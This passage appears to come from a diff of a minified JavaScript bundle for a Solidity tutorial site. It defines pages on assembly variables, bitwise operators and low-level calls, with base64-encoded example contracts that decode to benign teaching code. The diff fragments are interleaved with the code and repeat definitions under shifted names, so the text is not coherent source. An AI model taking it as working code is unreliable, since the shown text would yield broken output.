AgfQp9Cg=="}],zy=`

                  Example of math in assembly

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                   
                  @@ -3742,7 +3742,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,zy=({prev:s,next:a})=>r.jsx(A,{version:Fy,title:Ky,description:My,cyfrinLink:Sy,html:Jy,prev:s,next:a,codes:xy}),Dy="0.8.26",Ey="Assembly Variable",Qy="Example of how to declare variable inside assembly",Ty="https://www.cyfrin.io/glossary/assembly-variable-solidity-code-example",Uy=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],_y=`

                  Example of how to declare variables inside assembly

                  +`,Dy=({prev:s,next:a})=>r.jsx(A,{version:Fy,title:My,description:Sy,cyfrinLink:xy,html:zy,prev:s,next:a,codes:Jy}),Ey="0.8.26",Qy="Assembly Variable",Ty="Example of how to declare variable inside assembly",Uy="https://www.cyfrin.io/glossary/assembly-variable-solidity-code-example",Ly=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],_y=`

                  Example of how to declare variables inside assembly

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                   
                  @@ -3756,7 +3756,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,Ly=({prev:s,next:a})=>r.jsx(A,{version:Dy,title:Ey,description:Qy,cyfrinLink:Ty,html:_y,prev:s,next:a,codes:Uy}),Oy="0.8.26",Py="Bitwise Operators",$y="Learn about bitwise operators in Solidity",qy="https://www.cyfrin.io/glossary/bitwise-operators-solidity-code-example",sm=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB4IF4geTsKIC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HVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPj4gYml0czsKICAgIH0KCiAgICAvLyBHZXQgbGFzdCBuIGJpdHMgZnJvbSB4CiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHModWludDI1NiB4LCB1aW50MjU2IG4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50MjU2IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50MjU2IHgsIHVpbnQyNTYgbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIDEgPDwgbiA9IDIgKiogbgogICAgICAgIHJldHVybiB4ICUgKDEgPDwgbik7CiAgICB9CgogICAgLy8gR2V0IHBvc2l0aW9uIG9mIG1vc3Qgc2lnbmlmaWNhbnQgYml0CiAgICAvLyB4ID0gMTEwMCA9IDEyLCBtb3N0IHNpZ25pZmljYW50IGJpdCA9IDEwMDAsIHNvIHRoaXMgZnVuY3Rpb24gd2lsbCByZXR1cm4gMwogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBpID0gMDsKICAgICAgICB3aGlsZSAoKHggPj49IDEpID4gMCkgewogICAgICAgICAgICArK2k7CiAgICAgICAgfQogICAgICAgIHJldHVybiBpOwogICAgfQoKICAgIC8vIEdldCBmaXJzdCBuIGJpdHMgZnJvbSB4CiAgICAvLyBsZW4gPSBsZW5ndGggb2YgYml0cyBpbiB4ID0gcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQgb2YgeCwgKyAxCiAgICBmdW5jdGlvbiBnZXRGaXJzdE5CaXRzKHVpbnQyNTYgeCwgdWludDI1NiBuLCB1aW50MjU2IGxlbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIEV4YW1wbGUKICAgICAgICAvLyB4ICAgICAgICA9IDExMTAgPSAxNCwgbiA9IDIsIGxlbiA9IDQKICAgICAgICAvLyBtYXNrICAgICA9IDExMDAgPSAxMgogICAgICAgIC8vIHggJiBtYXNrID0gMTEwMCA9IDEyCiAgICAgICAgdWludDI1NiBtYXNrID0gKCgxIDw8IG4pIC0gMSkgPDwgKGxlbiAtIG4pOwogICAgICAgIHJldHVybiB4ICYgbWFzazsKICAgIH0KfQo="},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50MjU2IHgpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBtc2IpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNywgZ3QoeCwgMHhGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIC8vIG9yIGNhbiBiZSByZXBsYWNlZCB3aXRoIGFkZAogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg2LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg1LCBndCh4LCAweEZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNCwgZ3QoeCwgMHhGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMywgZ3QoeCwgMHhGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDIsIGd0KHgsIDB4RikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDEsIGd0KHgsIDB4MykpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gZ3QoeCwgMHgxKQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IG1zYikKICAgIHsKICAgICAgICAvLyB4ID49IDIgKiogMTI4CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTI4OwogICAgICAgICAgICBtc2IgKz0gMTI4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNjQKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDY0OwogICAgICAgICAgICBtc2IgKz0gNjQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAzMgogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDMyOwogICAgICAgICAgICBtc2IgKz0gMzI7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAxNgogICAgICAgIGlmICh4ID49IDB4MTAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTY7CiAgICAgICAgICAgIG1zYiArPSAxNjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDgKICAgICAgICBpZiAoeCA+PSAweDEwMCkgewogICAgICAgICAgICB4ID4+PSA4OwogICAgICAgICAgICBtc2IgKz0gODsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDQKICAgICAgICBpZiAoeCA+PSAweDEwKSB7CiAgICAgICAgICAgIHggPj49IDQ7CiAgICAgICAgICAgIG1zYiArPSA0OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMgogICAgICAgIGlmICh4ID49IDB4NCkgewogICAgICAgICAgICB4ID4+PSAyOwogICAgICAgICAgICBtc2IgKz0gMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDEKICAgICAgICBpZiAoeCA+PSAweDIpIG1zYiArPSAxOwogICAgfQp9Cg=="}],am=`
                  // SPDX-License-Identifier: MIT
                  +
                  `,Oy=({prev:s,next:a})=>r.jsx(A,{version:Ey,title:Qy,description:Ty,cyfrinLink:Uy,html:_y,prev:s,next:a,codes:Ly}),Py="0.8.26",$y="Bitwise Operators",qy="Learn about bitwise operators in Solidity",sm="https://www.cyfrin.io/glossary/bitwise-operators-solidity-code-example",am=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyA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KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPDwgYml0czsKICAgIH0KCiAgICAvLyA4ICA+PiAwID0gMTAwMCAtLT4gMTAwMCA9IDgKICAgIC8vIDggID4+IDEgPSAxMDAwIC0tPiAwMTAwID0gNAogICAgLy8gOCAgPj4gMiA9IDEwMDAgLS0+IDAwMTAgPSAyCiAgICAvLyA4ICA+PiAzID0gMTAwMCAtLT4gMDAwMSA9IDEKICAgIC8vIDggID4+IDQgPSAxMDAwIC0tPiAwMDAwID0gMAogICAgLy8gMTIgPj4gMSA9IDExMDAgLS0+IDAxMTAgPSA2CiAgICBmdW5jdGlvbiBzaGlmdFJpZ2h0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPj4gYml0czsKICAgIH0KCiAgICAvLyBHZXQgbGFzdCBuIGJpdHMgZnJvbSB4CiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHModWludDI1NiB4LCB1aW50MjU2IG4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50MjU2IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50MjU2IHgsIHVpbnQyNTYgbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIDEgPDwgbiA9IDIgKiogbgogICAgICAgIHJldHVybiB4ICUgKDEgPDwgbik7CiAgICB9CgogICAgLy8gR2V0IHBvc2l0aW9uIG9mIG1vc3Qgc2lnbmlmaWNhbnQgYml0CiAgICAvLyB4ID0gMTEwMCA9IDEyLCBtb3N0IHNpZ25pZmljYW50IGJpdCA9IDEwMDAsIHNvIHRoaXMgZnVuY3Rpb24gd2lsbCByZXR1cm4gMwogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBpID0gMDsKICAgICAgICB3aGlsZSAoKHggPj49IDEpID4gMCkgewogICAgICAgICAgICArK2k7CiAgICAgICAgfQogICAgICAgIHJldHVybiBpOwogICAgfQoKICAgIC8vIEdldCBmaXJzdCBuIGJpdHMgZnJvbSB4CiAgICAvLyBsZW4gPSBsZW5ndGggb2YgYml0cyBpbiB4ID0gcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQgb2YgeCwgKyAxCiAgICBmdW5jdGlvbiBnZXRGaXJzdE5CaXRzKHVpbnQyNTYgeCwgdWludDI1NiBuLCB1aW50MjU2IGxlbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIEV4YW1wbGUKICAgICAgICAvLyB4ICAgICAgICA9IDExMTAgPSAxNCwgbiA9IDIsIGxlbiA9IDQKICAgICAgICAvLyBtYXNrICAgICA9IDExMDAgPSAxMgogICAgICAgIC8vIHggJiBtYXNrID0gMTEwMCA9IDEyCiAgICAgICAgdWludDI1NiBtYXNrID0gKCgxIDw8IG4pIC0gMSkgPDwgKGxlbiAtIG4pOwogICAgICAgIHJldHVybiB4ICYgbWFzazsKICAgIH0KfQo="},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50MjU2IHgpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBtc2IpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNywgZ3QoeCwgMHhGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIC8vIG9yIGNhbiBiZSByZXBsYWNlZCB3aXRoIGFkZAogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg2LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg1LCBndCh4LCAweEZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNCwgZ3QoeCwgMHhGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMywgZ3QoeCwgMHhGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDIsIGd0KHgsIDB4RikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDEsIGd0KHgsIDB4MykpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gZ3QoeCwgMHgxKQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IG1zYikKICAgIHsKICAgICAgICAvLyB4ID49IDIgKiogMTI4CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTI4OwogICAgICAgICAgICBtc2IgKz0gMTI4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNjQKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDY0OwogICAgICAgICAgICBtc2IgKz0gNjQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAzMgogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDMyOwogICAgICAgICAgICBtc2IgKz0gMzI7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAxNgogICAgICAgIGlmICh4ID49IDB4MTAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTY7CiAgICAgICAgICAgIG1zYiArPSAxNjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDgKICAgICAgICBpZiAoeCA+PSAweDEwMCkgewogICAgICAgICAgICB4ID4+PSA4OwogICAgICAgICAgICBtc2IgKz0gODsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDQKICAgICAgICBpZiAoeCA+PSAweDEwKSB7CiAgICAgICAgICAgIHggPj49IDQ7CiAgICAgICAgICAgIG1zYiArPSA0OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMgogICAgICAgIGlmICh4ID49IDB4NCkgewogICAgICAgICAgICB4ID4+PSAyOwogICAgICAgICAgICBtc2IgKz0gMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDEKICAgICAgICBpZiAoeCA+PSAweDIpIG1zYiArPSAxOwogICAgfQp9Cg=="}],nm=`
                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                   
                   contract BitwiseOps {
                  @@ -3965,7 +3965,7 @@ Each slot in the array can store 32 bytes.

                  } } } -
                  `,nm=({prev:s,next:a})=>r.jsx(A,{version:Oy,title:Py,description:$y,cyfrinLink:qy,html:am,prev:s,next:a,codes:sm}),lm="0.8.26",pm="Call",em="In Solidity call is a low level function to interact with other contracts",cm="https://www.cyfrin.io/glossary/call-solidity-code-example",tm=[{fileName:"Call.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFJlY2VpdmVyIHsKICAgIGV2ZW50IFJlY2VpdmVkKGFkZHJlc3MgY2FsbGVyLCB1aW50MjU2IGFtb3VudCwgc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsICJGYWxsYmFjayB3YXMgY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gZm9vKHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsIHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIF9tZXNzYWdlKTsKCiAgICAgICAgcmV0dXJuIF94ICsgMTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGV2ZW50IFJlc3BvbnNlKGJvb2wgc3VjY2VzcywgYnl0ZXMgZGF0YSk7CgogICAgLy8gTGV0J3MgaW1hZ2luZSB0aGF0IGNvbnRyYWN0IENhbGxlciBkb2VzIG5vdCBoYXZlIHRoZSBzb3VyY2UgY29kZSBmb3IgdGhlCiAgICAvLyBjb250cmFjdCBSZWNlaXZlciwgYnV0IHdlIGRvIGtub3cgdGhlIGFkZHJlc3Mgb2YgY29udHJhY3QgUmVjZWl2ZXIgYW5kIHRoZSBmdW5jdGlvbiB0byBjYWxsLgogICAgZnVuY3Rpb24gdGVzdENhbGxGb28oYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gWW91IGNhbiBzZW5kIGV0aGVyIGFuZCBzcGVjaWZ5IGEgY3VzdG9tIGdhcyBhbW91bnQKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxsewogICAgICAgICAgICB2YWx1ZTogbXNnLnZhbHVlLAogICAgICAgICAgICBnYXM6IDUwMDAKICAgICAgICB9KGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJmb28oc3RyaW5nLHVpbnQyNTYpIiwgImNhbGwgZm9vIiwgMTIzKSk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9CgogICAgLy8gQ2FsbGluZyBhIGZ1bmN0aW9uIHRoYXQgZG9lcyBub3QgZXhpc3QgdHJpZ2dlcnMgdGhlIGZhbGxiYWNrIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gdGVzdENhbGxEb2VzTm90RXhpc3QoYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX2FkZHIuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfSgKICAgICAgICAgICAgYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImRvZXNOb3RFeGlzdCgpIikKICAgICAgICApOwoKICAgICAgICBlbWl0IFJlc3BvbnNlKHN1Y2Nlc3MsIGRhdGEpOwogICAgfQp9Cg=="}],om=`

                  call is a low level function to interact with other contracts.

                  +`,lm=({prev:s,next:a})=>r.jsx(A,{version:Py,title:$y,description:qy,cyfrinLink:sm,html:nm,prev:s,next:a,codes:am}),pm="0.8.26",em="Call",cm="In Solidity call is a low level function to interact with other 